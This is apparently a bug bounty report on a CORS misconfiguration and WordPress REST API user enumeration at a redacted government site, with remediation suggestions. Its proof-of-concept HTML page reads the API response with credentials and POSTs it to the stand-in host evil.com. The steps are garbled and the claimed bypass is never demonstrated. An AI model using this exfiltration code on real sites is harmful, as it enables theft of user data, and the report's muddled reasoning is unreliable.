Bypassing CORS Misconfiguration Leads to Sensitive Exposure

How it was found

Hi! Security Team @deptofdefense, It's possible to get information about the users registered (such as: id, name, login name, etc.) without authentication in Wordpress via API on *. ███████.

Description: By default Wordpress allow public access to Rest API to get informations about all users registered on the system.

Platform(s) Affected: [website] *. https://████/wp-json/

Steps To Reproduce:

1. Repreat URL Vulnerable to Burp Suite
2. If you add the Origin-parameter to the Request-header, the responsive header will reject
3. Bypassing Using Exploit CORS-With Sensitive
4. Open Request Vulnerability URL in /wp-json/` , when you open the url, you can see path-routes`` disclousure Proof On Concept:

<!DOCTYPE html>
<html>
<body>
<center>
<h3>Steal customer data!</h3>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://██████/wp-json/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

6. save file as .html and open in mozzila-firefox , and boom sensitive has been exposure Remediation: There are 2 ways that it's possible to fix this problem. FIX 1 - It's possible to remove this access for anyone by change the source code where when someone request the Rest API and the server send a 404 (Not Found) message for the user who made the request. Reference: https://github.com/WP-API/WP-API/issues/2338 FIX 2 - It's also possible to create a rewrite rule on .htaccess (if the webserver it's Apache) to redirect any request that contain rest_route (eg.: "^.rest_route=/wp/") to a Not Found (404) or a Default Page.

POC Screenshots Material/References:

• ███████
• █████████
• █████

Impact

1. It's possible to get all the users registered on the system and create a bruteforce directed to these users.
2. Cross Misconfiguration -Leakage Sensitive Information